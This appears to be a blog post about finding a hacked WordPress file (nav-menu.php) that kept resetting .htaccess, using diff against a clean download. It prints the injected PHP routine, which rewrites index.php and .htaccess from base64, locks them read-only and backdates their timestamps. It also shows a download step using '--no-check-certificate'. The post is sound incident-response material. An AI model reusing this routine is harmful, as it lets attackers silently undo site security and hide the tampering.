hacked WordPress is overwriting .htaccess

After years of quiet, faithful service my trusty little server was molested by the darkside.  A key part of my re-securing strategy involved making sure my .htaccess file was up to snuff.  I would attempt to save my newly edited .htaccess file and the editor would tell me the file had already “changed”. WTF?

If I stopped the apache2 service.. or firewalled 80 I was able to save the file,  close it.. open it.. etc and the changes stayed.. the second I unblocked 80, my .htaccess file reset itself to the basic WordPress .htaccess config.

I’d missed a compromised PHP script somewhere in the WP file system.  The uninvited code was was modifying the .htaccess file (set at 0444) to disable all the security features but leave WordPress in working condition.

“You fool! You failed to realize that, with your .htaccess is compromised, my script will tear through yours like tissue paper.”

Diff command to the rescue! In a directory above WordPress, I created a temp directory, used wget to get the latest version of WordPress then “diff” command to hunt down the rogue script. (Note: this script was written for Ubuntu.)

sudo mkdir .tmp
cd .tmp
sudo wget //wordpress.org/latest.tar.gz –no-check-certificate
sudo tar -xzvf latest.tar.gz

sudo diff -qr /var/www/webz/.tmp/wordpress /var/www/webz/wordpress |grep differ

You clever girl:

Files /var/www/webz/.tmp/wordpress/wp-includes/nav-menu.php and /var/www/webz/wordpress/wp-includes/nav-menu.php differ

Every time someone browsed my site,  it fired off a compromised version of nav-menu.php and the injected code lobotomized index.php and .htaccess. Weeeee! 🙁  If you’re curious like I was,  copy the base64 code to https://www.base64decode.org/ and decode it to plain ascii.


 

function my_correct($dir) {
$time = 0;
$path = $dir . ‘/index.php’;
$content = base64_decode(‘PD9waHAKLyoqCiAqIEZyb250IHRvIHRoZSBXb3JkUHJlc3MgYXBwbGljYXRpb24uIFRoaXMgZmlsZSBkb2Vzbid0IGRvIGFueXRoaW5nLCBidXQgbG9hZHMKICogd3AtYmxvZy1oZWFkZXIucGhwIHdoaWNoIGRvZXMgYW5kIHRlbGxzIFdvcmRQcmVzcyB0byBsb2FkIHRoZSB0aGVtZS4KICoKICogQHBhY2thZ2UgV29yZFByZXNzCiAqLwoKLyoqCiAqIFRlbGxzIFdvcmRQcmVzcyB0byBsb2FkIHRoZSBXb3JkUHJlc3MgdGhlbWUgYW5kIG91dHB1dCBpdC4KICoKICogQHZhciBib29sCiAqLwpkZWZpbmUoJ1dQX1VTRV9USEVNRVMnLCB0cnVlKTsKCi8qKiBMb2FkcyB0aGUgV29yZFByZXNzIEVudmlyb25tZW50IGFuZCBUZW1wbGF0ZSAqLwpyZXF1aXJlKCBkaXJuYW1lKCBfX0ZJTEVfXyApIC4gJy93cC1ibG9nLWhlYWRlci5waHAnICk7Cg==’);
if (file_get_contents($path) != $content) {
chmod($path, 0644);
file_put_contents($path, $content);
chmod($path, 0444);
$time = my_time($dir);
touch($path, $time);
}


 

$path = $dir . ‘/.htaccess’;
$content = base64_decode(‘IyBCRUdJTiBXb3JkUHJlc3MKPElmTW9kdWxlIG1vZF9yZXdyaXRlLmM+ClJld3JpdGVFbmdpbmUgT24KUmV3cml0ZUJhc2UgLwpSZXdyaXRlUnVsZSBeaW5kZXhcLnBocCQgLSBbTF0KUmV3cml0ZUNvbmQgJXtSRVFVRVNUX0ZJTEVOQU1FfSAhLWYKUmV3cml0ZUNvbmQgJXtSRVFVRVNUX0ZJTEVOQU1FfSAhLWQKUmV3cml0ZVJ1bGUgLiAvaW5kZXgucGhwIFtMXQo8L0lmTW9kdWxlPgoKIyBFTkQgV29yZFByZXNzCg==‘);
if (file_exists($path) AND file_get_contents($path) != $content) {
chmod($path, 0644);
file_put_contents($path, $content);
chmod($path, 0444);
if (!$time) {
$time = my_time($dir);
}
touch($path, $time);
}
}

So no.. you’re not crazy.